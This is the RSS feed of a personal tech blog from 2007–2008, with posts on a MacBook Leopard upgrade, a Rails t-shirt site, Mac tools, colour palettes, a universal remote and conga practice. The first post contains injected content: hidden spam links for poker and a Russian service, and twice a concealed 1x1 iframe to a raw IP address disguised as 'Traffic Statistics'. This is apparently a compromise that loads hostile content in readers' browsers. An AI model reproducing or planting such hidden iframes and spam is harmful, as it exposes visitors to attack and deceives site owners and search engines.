<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>The Prince Of Swords</title>
	<atom:link href="http://www.princeofswords.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.princeofswords.com</link>
	<description>One sword keeps another in the sheath. - George Herbert</description>
	<pubDate>Thu, 24 Jul 2008 15:55:30 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>My Laptop&#8217;s Got New Spots</title>
		<link>http://www.princeofswords.com/2008/04/12/my-laptops-got-new-spots/</link>
		<comments>http://www.princeofswords.com/2008/04/12/my-laptops-got-new-spots/#comments</comments>
		<pubDate>Sat, 12 Apr 2008 22:48:41 +0000</pubDate>
		<dc:creator>The Prince</dc:creator>
		
		<category><![CDATA[Mac-ness]]></category>

		<guid isPermaLink="false">http://www.princeofswords.com/2008/04/12/my-laptops-got-new-spots/</guid>
		<description><![CDATA[This weekend I planned to migrate my Macbook to Leopard. I started Friday evening&#8230;and I&#8217;m already done. It was a really good experience and pretty much guarantees that I am never going back to Windoze, not that I&#8217;d even considered it in the last year and a half.
Since I have been running out of disk [...]]]></description>
			<content:encoded><![CDATA[<p>This weekend I planned to migrate my Macbook to Leopard. I started Friday evening&#8230;and I&#8217;m already done. It was a really good experience and pretty much guarantees that I am never going back to Windoze, not that I&#8217;d even considered it in the last year and a half.</p>
<p>Since I have been running out of disk space, my upgrade was twice as sweet. On the recommendation from my local mac-users list, I picked up a Seagate Momentus 200G G-Shock drive (ST9200420ASG) to replace the 80G I was running on. Then I added a Macally BS250U external drive enclosure. Plus, a week ago I had just gotten a Western Digital 320G Passport which I&#8217;ll probably use for Time Machine. Armed with a copy of Leopard, I was ready to go.</p>
<p><strong>Step 1: Backup Macbook<u style="display:none">Para hacer apuestas en ruleta, el jugador de <a href="http://www.alojarpoker.es">poker en linea</a> debe elegir el número de fichas que quiere de un grupo utilizando el ratón, debe llevarlo donde quiere y soltar el botón del ratón para colocar las fichas.</u> to WD Passport via SuperDuper for safety.</strong></p>
<p>Took forever (6hrs), but worth it.</p>
<p><strong>Step 2: Load a clean copy of Leopard on the new Seagate drive via USB.</strong></p>
<p>Had to do this twice for some unknown failure. The first time it didn&#8217;t want to recognize the external drive and then never completed.</p>
<p><strong>Step 3: Boot the Macbook from the attached Seagate Drive.</strong></p>
<p>A firewire drive enclosure would have been faster but USB is more ubiquitous.</p>
<p><strong>Step 4: Use the Migration Assistant to load the user account data, including Apps, from Macbook. </strong><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">&#1082;&#1086;&#1084;&#1087;&#1102;&#1090;&#1088;&#1080; &#1074;&#1090;&#1086;&#1088;&#1072; &#1091;&#1087;&#1086;&#1090;&#1088;&#1077;&#1073;&#1072;</a></font></p>
<p>You probably want to use using a temporary account on the Leopard install since it won&#8217;t let you easily overwrite an existing<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> account name. This took about three hours but I didn&#8217;t have to do anything so I let it run while I slept.</p>
<p><strong>Step 5: Run the apps and see what&#8217;s broken.</strong></p>
<p>All things considered, most of my stuff worked. Mail, network settings, passwords, and documents were all there. I had to install XCode, MacPorts, MySQL and re-install Growl, Inkscape, and X11. I&#8217;m sure my LDAP server is busted but I never knew how that was setup anyway so I&#8217;ll get somebody else to help sort that out. I thought I&#8217;d have to do more to get all my rails apps running, but installing a database was all it took. </p>
<p>I removed Desktop Manager, thank you for the good years of service, but Spaces seems to be the way kids do it now. MailBadger is busted, but it is the effort of one person, so if it gets updated for Leopard, cool. Shapeshifter is also a no show, which being the superficial punkass I am will be annoying. I like pretty things.</p>
<p><strong>Step 6: Shut everything down. Remove the Macbook 80G and replace it with the Seagate.</strong></p>
<p>This too was crazy easy. Pop out the battery. Loosen three screws in the RAM rail. Unroll the hard drive tab and pull out the drive. Remove the shield and place in on the new drive.    Do the previous three steps in reverse. I was barely nervous firing up the laptop once assembled.</p>
<p>First impressions are good. I am not such an Apple fanboy<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> that I follow every article on the interWebs detailing every internals tweak they&#8217;ve done to Leopard. But, even running the OS over USB 2.0, my system was faster. 7200rpm drive vs Mac OS 10.5? I don&#8217;t know which is actually responsible for the boost and I don&#8217;t care. Its faster.</p>
<p>Leopard! MEEE-OOOWW!!!</p>
<p>Now I need to try to do some work and see if I missed anything.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.princeofswords.com/2008/04/12/my-laptops-got-new-spots/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New &#038; Improved! PHAT COCK 2.0</title>
		<link>http://www.princeofswords.com/2008/02/09/new-improved-phat-cock-20/</link>
		<comments>http://www.princeofswords.com/2008/02/09/new-improved-phat-cock-20/#comments</comments>
		<pubDate>Sat, 09 Feb 2008 03:33:20 +0000</pubDate>
		<dc:creator>The Prince</dc:creator>
		
		<category><![CDATA[Shiny]]></category>

		<category><![CDATA[qWErTy]]></category>

		<guid isPermaLink="false">http://www.princeofswords.com/2008/02/09/new-improved-phat-cock-20/</guid>
		<description><![CDATA[Over Christmas break I spent the week re-writing Phat Cock Tees, the first Rails app I did in 2005. It was finally deployed today.
Crawling through the code it was clear had a very limited understanding of what the hell I was doing back then. It was still running as a CGI on Postgres in the [...]]]></description>
			<content:encoded><![CDATA[<p>Over Christmas break I spent the week re-writing <a href="http://phatcocktees.com/">Phat Cock Tees</a>, the first Rails app I did in 2005. It was finally deployed today.</p>
<p>Crawling through the code it was clear had a very limited understanding of what the hell I was doing back then. It was still running as a CGI on Postgres in the development environment. Gee. Wonder why it was slow?</p>
<p>I think you&#8217;ll like this version much betteh! And still Not (always) Safe for Work.<br />
View at your own risk.<br />
Parental Guidance Suggested.<br />
Dangerous Curves Ahead.<br />
Maximum Load 3000lbs.<br />
Do Not Use Near Open Flame.</p>
<p>Technically, I played with more cool stuff like RSpec, Scriptaculous effects, Haml, Sass, MySQL, more modern version of Rails (but not yet 2.0), Capistrano, ActionMailer, REST, siFR, and no more HTML tables.</p>
<p>1882 shirts for your viewing pleasure.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.princeofswords.com/2008/02/09/new-improved-phat-cock-20/feed/</wfw:commentRss>
		</item>
		<item>
		<title>TortoiseSVN. &#8230;member?</title>
		<link>http://www.princeofswords.com/2008/02/05/tortoisesvn-member/</link>
		<comments>http://www.princeofswords.com/2008/02/05/tortoisesvn-member/#comments</comments>
		<pubDate>Tue, 05 Feb 2008 05:34:02 +0000</pubDate>
		<dc:creator>The Prince</dc:creator>
		
		<category><![CDATA[Mac-ness]]></category>

		<category><![CDATA[qWErTy]]></category>

		<guid isPermaLink="false">http://www.princeofswords.com/2008/02/05/tortoisesvn-member/</guid>
		<description><![CDATA[So back when you used Win98 to develop webs apps in PHP, there was that cool plugin for SVN that integrated with Windows Explorer. You could see the status of a file because its icon would change colors if you modified it. You could right-click and do most of the SVN actions. 
I&#8217;ve been wanting [...]]]></description>
			<content:encoded><![CDATA[<p>So back when you used Win98 to develop webs apps in PHP, there was that cool plugin for SVN that integrated with Windows Explorer. You could see the status of a file because its icon would change colors if you modified it. You could right-click and do most of the SVN actions. </p>
<p>I&#8217;ve been wanting that for the Finder in Mac OS X ever since I switched in 2006.</p>
<p>At the end of December, besides the year crashing to an end, a tool I&#8217;d written off for dead, was updated!</p>
<p><a href="http://scplugin.tigris.org/">SCPlugin</a> is like Tortoise for Mac! I&#8217;ve installed it and will let you know how it goes.</p>
<p>I&#8217;ve been using <a href="http://www.lachoseinteractive.net/en/community/subversion/svnx/features/">svnX</a>. It&#8217;s ok for general work but doesn&#8217;t let you easily check out a previous previous version of a file or handle svn properties.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.princeofswords.com/2008/02/05/tortoisesvn-member/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ahhh pwitty cahloorz</title>
		<link>http://www.princeofswords.com/2008/01/29/ahhh-pwitty-cahloorz/</link>
		<comments>http://www.princeofswords.com/2008/01/29/ahhh-pwitty-cahloorz/#comments</comments>
		<pubDate>Tue, 29 Jan 2008 23:21:46 +0000</pubDate>
		<dc:creator>The Prince</dc:creator>
		
		<category><![CDATA[Mac-ness]]></category>

		<guid isPermaLink="false">http://www.princeofswords.com/2008/01/29/ahhh-pwitty-cahloorz/</guid>
		<description><![CDATA[So a few months ago I was trying to move some color palettes between Inkscape and Color Schemer Studio Pro, both of which I still use. Recently our company colors shifted an RGB value from 204 to 196, which to most may not be noticeable. But, since I created a color space for all our [...]]]></description>
			<content:encoded><![CDATA[<p>So a few months ago I was trying to move some color palettes between Inkscape and Color Schemer Studio Pro, both of which I still use. Recently our company colors shifted an RGB value from 204 to 196, which to most may not be noticeable. But, since I created a color space for all our webs apps based on that value, I can&#8217;t NOT touch up all my colors.</p>
<p>While playing with colors again, I found a simple solution to sync palettes across all my Mac apps. Turns out the Mac Color Picker likes to use &#8220;.clr&#8221; files that I still have not figured out how to generate. </p>
<p>But, I never looked very closely at all the tabs in the color picker - Color Wheel - Color Sliders - Color Palettes - Image Palettes - Crayons&#8230; did you miss it? </p>
<p>Image Palettes! Yep, create an image of swatches in your palette and the Color Picker will let you use it. Using Color Schemer Studio, you can easily export your palette as a .gif. </p>
<p>A copy of the image you use will be stored in ~/Library/Colors/.</p>
<p>I include a palette in all our web projects just in case a developer ever wants to know what our colors are.</p>
<p>Purple is a color.<br />
Violet is a spectrum of light.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.princeofswords.com/2008/01/29/ahhh-pwitty-cahloorz/feed/</wfw:commentRss>
		</item>
		<item>
		<title>2-D or not 2-D</title>
		<link>http://www.princeofswords.com/2007/06/19/2-d-or-not-2-d/</link>
		<comments>http://www.princeofswords.com/2007/06/19/2-d-or-not-2-d/#comments</comments>
		<pubDate>Tue, 19 Jun 2007 22:59:29 +0000</pubDate>
		<dc:creator>The Prince</dc:creator>
		
		<category><![CDATA[Unknown]]></category>

		<guid isPermaLink="false">http://www.princeofswords.com/2007/06/19/2-d-or-not-2-d/</guid>
		<description><![CDATA[In case I find the two dimensional nature of my imaginary NSFW t-shirt company (Phat Cock Tees) constraining to the point of hindering my artistic vision, I now have a &#8220;Plan B&#8221;.
A Shopbot
Dirty things out of dimensional lumber and exotic hardwood!
Hot Japanese Cherry Blossom action.
Got wood?
Shiny meh-tal. Hard as steel.
]]></description>
			<content:encoded><![CDATA[<p>In case I find the two dimensional nature of my imaginary NSFW t-shirt company (<a href="http://www.phatcocktees.com">Phat Cock Tees</a>) constraining to the point of hindering my artistic vision, I now have a &#8220;Plan B&#8221;.</p>
<p><a href="http://www.shopbottools.com/prsalpha.htm">A Shopbot</a></p>
<p>Dirty things out of dimensional lumber and exotic hardwood!<br />
Hot Japanese Cherry Blossom action.<br />
Got wood?<br />
Shiny meh-tal. Hard as steel.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.princeofswords.com/2007/06/19/2-d-or-not-2-d/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Practicing a 720</title>
		<link>http://www.princeofswords.com/2007/06/12/practicing-a-720/</link>
		<comments>http://www.princeofswords.com/2007/06/12/practicing-a-720/#comments</comments>
		<pubDate>Tue, 12 Jun 2007 04:49:38 +0000</pubDate>
		<dc:creator>The Prince</dc:creator>
		
		<category><![CDATA[Shiny]]></category>

		<guid isPermaLink="false">http://www.princeofswords.com/2007/06/12/practicing-a-720/</guid>
		<description><![CDATA[Tonight I spent some more time playing with the Harmony Remote. A nice touch I noticed (cuz I don&#8217;t RTFM until I F&#8217;n Have To) is a tilt sensor in the device so if you touch it, it kicks on the backlight so you can see it in the dark.
Played with setting up my favorite [...]]]></description>
			<content:encoded><![CDATA[<p>Tonight I spent some more time playing with the Harmony Remote. A nice touch I noticed (cuz I don&#8217;t RTFM until I F&#8217;n Have To) is a tilt sensor in the device so if you touch it, it kicks on the backlight so you can see it in the dark.</p>
<p>Played with setting up my favorite channels and added some channel icons. This just sends the channel numbers to the screen 8-4-7 (select), kinda slowly, but I think you can adjust the delay.</p>
<p>Also started changing the screens for my audio receiver, which came pre-loaded with 18 screens of 6 options. On my first screen in the device, I wanted to setup the audio inputs (Replay, DVD, SAT2, iTunes). Since you control the naming, I can easily map Replay to InputDvd/Ld. With my other remote I had to know the source was #4, but there was a little TV label underneath it. iTunes is an Airport Express feed but haven&#8217;t figured out which command triggers it. The receiver thinks it should be InputTape, but the Harmony triggers the feed from my other satellite box. There are only 30+ Inputs to pick from so this could take some trial and error.</p>
<p>I also tweaked my Replay controls so the arrows will also trigger Replay (7 sec back) and Advance (30sec skip). Digging around I noticed that in a Device mode you can specify which buttons send which commands to any device. My other remote locked sound control to receiver, but Harmony takes it to another level.</p>
<p>Never thought so much about how I would like to control my TV. Plus realize now that I have something to compare, how worn out my other remote is. Note to self: Please change everything all the time to keep a fresh perspective. </p>
<p>Progamming a remote control that you have to reboot once you upload your changes. What do full-on non-technical people do?  I wonder if anyone one has some freaky version of linux and apache running ruby-on-rails over IR on this thing yet. Harmony won&#8217;t support Bose gear since the RF is Z-Wave, but if I can convert my Bose to IR, it might.</p>
<p>Bomp bomp bomp bomp. I &lt;3 techno.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.princeofswords.com/2007/06/12/practicing-a-720/feed/</wfw:commentRss>
		</item>
		<item>
		<title>In da kitchen cookin&#8217; up beats</title>
		<link>http://www.princeofswords.com/2007/06/10/in-da-kitchen-cookin-up-beats/</link>
		<comments>http://www.princeofswords.com/2007/06/10/in-da-kitchen-cookin-up-beats/#comments</comments>
		<pubDate>Sun, 10 Jun 2007 17:53:20 +0000</pubDate>
		<dc:creator>The Prince</dc:creator>
		
		<category><![CDATA[Spare Time]]></category>

		<guid isPermaLink="false">http://www.princeofswords.com/2007/06/10/in-da-kitchen-cookin-up-beats/</guid>
		<description><![CDATA[Between starting to read Godel, Escher, Bach&#8230; AGAIN (a super brain bender about Strange Loops) and listening to &#8220;How to Think Like Leaonardo da Vinci&#8221;, I decided to play with music/time this weekend.
About a year ago my favorite music store in SA, Hermes Music, sold out to Guitar World. Since I&#8217;ve bought a  lot [...]]]></description>
			<content:encoded><![CDATA[<p>Between starting to read <a href="http://www.amazon.com/Godel-Escher-Bach-Eternal-Golden/dp/0465026567">Godel, Escher, Bach&#8230;</a> AGAIN (a super brain bender about Strange Loops) and listening to <a href="http://www.amazon.com/How-Think-Like-Leonardo-Vinci/dp/0440508274">&#8220;How to Think Like Leaonardo da Vinci&#8221;</a>, I decided to play with music/time this weekend.</p>
<p>About a year ago my favorite music store in SA, Hermes Music, sold out to Guitar World. Since I&#8217;ve bought a  lot of light gear from them, they dropped me a post card letting me know they were having a sale. I went there looking for some XLR cables, speaker stands, and some new lights for Halloween but I ended up carrying out an M-Audio Trigger Finger(a USB midi drum pad controller) and a set of conga drums. Conga drums? Yep. DRUMS!</p>
<p>So I used to bedroom DJ techno/house parties in Indiana and got really into tribal house. DJing gave me a musical outlet although I can&#8217;t sing or play an instrument so I&#8217;m not sure how strong an urge it could really have be satisfying.  Then there&#8217;s drums, the beat of the whole show, those low frequency grooves that grab you by the chest an pull you in. Plus, one of my favorite scientists, Richard Feynman, used to play bongos in the desert to go think about problems Considering he was playing with subjects like Quantum Electrodynamics, I imagine he became a good drummer for a physicist.</p>
<p>I&#8217;d also Amazon-ed some Conga books so I flipped through them to see which one made the most sense. So using <a href="http://www.amazon.com/Mel-Bay-Conga-Drumming-Beginners/dp/0786623462">Conga Drumming by Alan Dworsky</a>, Garage Band, my Trigger finger, and my Congas, I set to learn a little drumming.</p>
<p><strong>Here&#8217;s what I did.</strong></p>
<p>The Conga book has a nice abstract notation to learn with which was perfect for me since I have no musical training, at all. It looks like this:</p>
<pre>
Rhythm 1-1: Calypso high drum part
| 1 | + | 2 | + | 3 | + | 4 | + |
  0   0           0   0
  R   L           R   L
</pre>
<p>This means on up-beat 1 in 4/4 time, play an open tone, with your right hand. Simple to read. Me likey. The book came with a CD where the dude plays each rhythm in the book (175 total), but they aren&#8217;t recorded so you can loop them. I have two programs that would let me make loops, Ableton Live 6 (free version with the Trigger finger) and Garage Band (free with my MacBook). Turns out to use Ableton Live, I&#8217;d need to learn a lot of stuff. Like most things Apple, when I plugged in my Trigger Finger, Garage Band just worked.</p>
<p>After reading a little bit of the Garage Band Help, I was able to add a new track, use the Jazz Drum Kit, and create the beat pattern for Rhythm 1-1. Then I just set the pattern to loop and drummed along with it. Kinda cool. Now I just have to practice for the next ten years.</p>
<p>I&#8217;m thinking about grabbing the <a href="http://store.apple.com/1-800-MY-APPLE/WebObjects/AppleStore?productLearnMore=MA211Z/A">Garage Band Jam Pack: World Music</a> since it may have a Conga Drum Kit in it. The Jazz Kit works, but I&#8217;m faking the open tones, slaps, and bass tones by adjusting the velocities, where it might be more important to use more accurate Conga drumming sounds to learn the complex patterns later in the book.</p>
<p>One and Two and Three and Four and&#8230; Rock out!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.princeofswords.com/2007/06/10/in-da-kitchen-cookin-up-beats/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Harmony 720 sounds like a cool skateboard trick</title>
		<link>http://www.princeofswords.com/2007/06/06/harmony-720-sounds-like-a-cool-skateboard-trick/</link>
		<comments>http://www.princeofswords.com/2007/06/06/harmony-720-sounds-like-a-cool-skateboard-trick/#comments</comments>
		<pubDate>Wed, 06 Jun 2007 05:16:12 +0000</pubDate>
		<dc:creator>The Prince</dc:creator>
		
		<category><![CDATA[Shiny]]></category>

		<guid isPermaLink="false">http://www.princeofswords.com/2007/06/06/harmony-720-sounds-like-a-cool-skateboard-trick/</guid>
		<description><![CDATA[&#8230;but its a universal remote I&#8217;m playing with from Logitech. 
So far I like:

rechargeable batteries - I hate trying to find AAA&#8217;s lying around
cradle - gives it a home so I know where to keep/find it
easy setup via USB on Mac
can setup favorite TV channels - I can never remember the exact channel for DSC&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>&#8230;but its a universal remote I&#8217;m playing with from Logitech. </p>
<p>So far I like:</p>
<ul>
<li>rechargeable batteries - I hate trying to find AAA&#8217;s lying around</li>
<li>cradle - gives it a home so I know where to keep/find it</li>
<li>easy setup via USB on Mac</li>
<li>can setup favorite TV channels - I can never remember the exact channel for DSC&#8230; its in the 280&#8217;s somewhere</li>
<li>all the button sets do have affordances so you can feel which set you&#8217;re rubbing</li>
<li>you can import custom graphics for buttons, backgrounds, and channels - skin a remote control yeah and it supports .png!</li>
</ul>
<p>Things I might not like:</p>
<ul>
<li>software to set it up requires a network connection</li>
<li>device setup seems to be all GUI-driven, versus being able to write a config file</li>
<li>each device gets a list of screens of options that you scroll horizontally and activate with the three buttons down each side of the small LCD</li>
<li>all the buttons are kinda tiny</li>
<li>the LCD font is not anti-aliased</li>
</ul>
<p>My A/V setup is not that crazy. I have 2 DirecTV receivers, Stereo w/ 5 disc CD, DVD 5 disc, a ReplayTV, IR distribution, a 4 channel A/V distribution thing, and an XBox w/XBMC. Its more of a cabling nightmare than anything and I still need to install a small media rack in my closet.</p>
<p>I know I&#8217;m ready for a new remote, my existing RCA Universal Custom 8 is old and wearing out. I haven&#8217;t thought through what I am looking for in my dream remote so experimenting with the Harmony 720 should help me clarify.</p>
<p>I can haz ur TeeVee chanjin&#8217; ur channelz to pr0n! Wurd.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.princeofswords.com/2007/06/06/harmony-720-sounds-like-a-cool-skateboard-trick/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Colors, Inkscape, and Mac-ness</title>
		<link>http://www.princeofswords.com/2007/04/25/colors-inkscape-and-mac-ness/</link>
		<comments>http://www.princeofswords.com/2007/04/25/colors-inkscape-and-mac-ness/#comments</comments>
		<pubDate>Wed, 25 Apr 2007 04:03:52 +0000</pubDate>
		<dc:creator>The Prince</dc:creator>
		
		<category><![CDATA[Mac-ness]]></category>

		<guid isPermaLink="false">http://www.princeofswords.com/2007/04/25/colors-inkscape-and-mac-ness/</guid>
		<description><![CDATA[So I&#8217;ve been back on some web interface design stretches lately. Working alot with SVGs in Inkspace and I&#8217;ve totally found my medium of choice. I got hooked on raster graphics playing with Photoshop more than ten years ago. It was so expensive I never ventured into Illustrator but have been wishing I would have [...]]]></description>
			<content:encoded><![CDATA[<p>So I&#8217;ve been back on some web interface design stretches lately. Working alot with SVGs in Inkspace and I&#8217;ve totally found my medium of choice. I got hooked on raster graphics playing with Photoshop more than ten years ago. It was so expensive I never ventured into Illustrator but have been wishing I would have lately. Vectors seem to fit my brain better even though I&#8217;m not super mathy.</p>
<p>To get my rounded-cornered Web 2.0 AJAX soaked interfaces on point I&#8217;ve been creating buttons, icons, and layouts in Inkscape, an open source Scalable Vector Graphic editor. I&#8217;ve gotten the hang of it and now that Firefox and other browsers are providing native SVG support, I look forward to doing some cool stuff with it. One idea I&#8217;d like to chase down eventually is defining the relationships between the colors in a web skin, as opposed to the actual colors. Then we could provide a user preference screen to adjust some sliders so they can set the base color, hue, saturation, etc and the rest of the interface would dynamically re-render all the graphics elements. I think we&#8217;d swamp a browser trying to update every graphic SVG element on-the-fly, but some server-side love could handle the job.</p>
<p>Anyways the thing I was playing with tonight was simply importing and exporting colors to get them where I need them. I&#8217;m using Color Schemer Pro to work with colors. It makes mixing, matching, and saving colors in multiple formats simplio. When creating skins, I often embed a .gif of the colors so you can grab them via Colorzilla, since most people don&#8217;t like to memorize the hex codes. (I&#8217;ve really been into #5D07B0 lately, but #6700B8 is nice too.)<br />
I&#8217;d like to take a color scheme and turn it into a palette I can use directly in Inkscape. Color Schemer Pro (CSP) can export as .gif, .html, .aco, ai, .txt, &#8230;, .act, and .xml. Very cool except Inkscape doesn&#8217;t read any of these. So&#8230;.the solution from tonight is to:</p>
<ol>
<li>Export from CSP as a .act file</li>
<li>Import as new swatch in GIMP</li>
<li>Look in your ~/.gimp-X.X/palettes where GIMP will have converted and saved a .gpl file</li>
<li>Copy the .gpl file into Inkscape into the /Contents/Resources/palettes</li>
<li>Open Inkscape. Ta-da! Your palette is there!</li>
</ol>
<p>The imported palette is missing the caption for each color so it is blank if you mouseOver it, but you can edit the .gpl file if you really want to. It&#8217;s really just a text file with some RGB color codes in it.</p>
<p>May all your pixels come true.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.princeofswords.com/2007/04/25/colors-inkscape-and-mac-ness/feed/</wfw:commentRss>
		</item>
		<item>
		<title>DevonThink Things Done</title>
		<link>http://www.princeofswords.com/2007/03/05/devonthink-things-done/</link>
		<comments>http://www.princeofswords.com/2007/03/05/devonthink-things-done/#comments</comments>
		<pubDate>Mon, 05 Mar 2007 20:01:40 +0000</pubDate>
		<dc:creator>The Prince</dc:creator>
		
		<category><![CDATA[Mac-ness]]></category>

		<guid isPermaLink="false">http://www.princeofswords.com/2007/03/05/devonthink-things-done/</guid>
		<description><![CDATA[Over the weekend I spent some time trying organize all the stuff I have going on&#8230;.again. My hipster has never left me but since I&#8217;m on a number of projects, my ToDo lists have gotten a little crazy. Luckily we&#8217;re using Basecamp for most of them so I can feel a solution coming.
Through the MacHeist [...]]]></description>
			<content:encoded><![CDATA[<p>Over the weekend I spent some time trying organize all the stuff I have going on&#8230;.again. My hipster has never left me but since I&#8217;m on a number of projects, my ToDo lists have gotten a little crazy. Luckily we&#8217;re using Basecamp for most of them so I can feel a solution coming.</p>
<p>Through the MacHeist thing a few months ago I upgraded to DevonThink Pro. It rocks but takes a little time to get used to. I&#8217;m using it as my supplemental brain. First, I &#8220;indexed&#8221; some of the key folders on my MacBook, like my Sites folder which houses all the source code and design documents for all the apps we&#8217;re writing. I also imported all my bookmarks and all the emails I&#8217;ve sent. I imported all the ebooks I have, although Devon couldn&#8217;t read my DRM&#8217;d copies of the ITIL books I&#8217;ve got. As I visit sites, I end up &#8220;capturing&#8221; a lot of interesting things. I imported an entire portal I setup years ago to put all my ideas, meeting notes, etc.<br />
Overall this gives me a good start to my personal knowledge base. When I search for &#8220;Riva&#8221;, Devon gives me all the connected items I have, links to sites, diagrams I&#8217;ve done, papers I wrote, documents I&#8217;ve downloaded. It rocks! Here&#8217;s some stats:</p>
<ul>
<li>10,724 Groups</li>
<li>18,974 HTML files</li>
<li>35,758 Text Files</li>
<li>10, 352 Images</li>
<li>12,352 Links</li>
<li>380 QuickTime movies</li>
<li>106, 257 Total records</li>
<li>39,930,853 Words (309,992 unique words)</li>
</ul>
<p>The fact that I know that is kinda cool. The idea that out of 39M words, only 300K are unique, points out how much repetition there is in our language. Somebody should look into that.<br />
This weekend I experimented with using DevonThink as my new GTD tool of record. To GTD, I started with a simple directory structure for In Box, Projects, @Home, and @MacBook. @ just means it is a context. In the Project group, I have all the projects I know of each in their own group. Within each group I then add an &#8220;outline&#8221; for each task. An outline is a snippet of text with a checkbox. Any record can be &#8220;labeled&#8221; which just turns them one of seven colors. I used orange to indicate &#8220;Waiting For&#8221; (which now that I write this gives me a better idea!).</p>
<p>So here&#8217;s the problem. I have 306 groups in &#8220;Projects&#8221;, meaning some projects have multiple sub-folders. Tasks for each project get buried in a hierarchy. As I add &#8220;tasks&#8221; to each related group, I don&#8217;t want to have to open up all these groups to see my tasks. The first step was classifying tasks. I just add &#8220;(N)&#8221; to a task to mean Next. So a task for a Project looks like &#8220;(N) Paper prototype dashboard&#8221;. If I&#8217;m waiting for something I use (W). Looking through some Applescripts that shipped with Devon, I was able to tweak them to suit my needs. I now have an Applescript that grabs all the items I marked with (N) and replicates them to a group named &#8220;(N)ext&#8221;. I attached the script to that group so every time I click it, it re-runs the search and re-populates the folder with my Next items. The feature that makes this possible in Devon is its ability to replicate an item, which is effectively a linked copy so any changes to a replicant flows back to the source and all other replicants. I then repeated the process for a &#8220;(W)aiting for&#8221; and &#8220;(S)omeday/Maybe&#8221; groups. I also created a script to rename an itemand append a (N), (S), or (W) to it. Ta-da! Problem almost solved.</p>
<p>Things to look into:</p>
<ul>
<li>Remember how I am adding (N), (W), etc to each task and then collecting those items into special &#8220;smart&#8221; groups? Now that I&#8217;m thinking about it, I can trigger the task based on their label which is easier to change than having to rename them manually or run the script for it.</li>
<li>Basecamp has an API in Ruby. DevonThink Pro supports Applescript. There is a library &#8216;rb-appscript&#8217; that lets you write Applescript in Ruby. Seems to me I should be able to use the Basecamp API to pull all the ToDo items from all my projects on Basecamp and import them directly into DevonThink.</li>
</ul>
<p>Lots to do to get things done.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.princeofswords.com/2007/03/05/devonthink-things-done/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
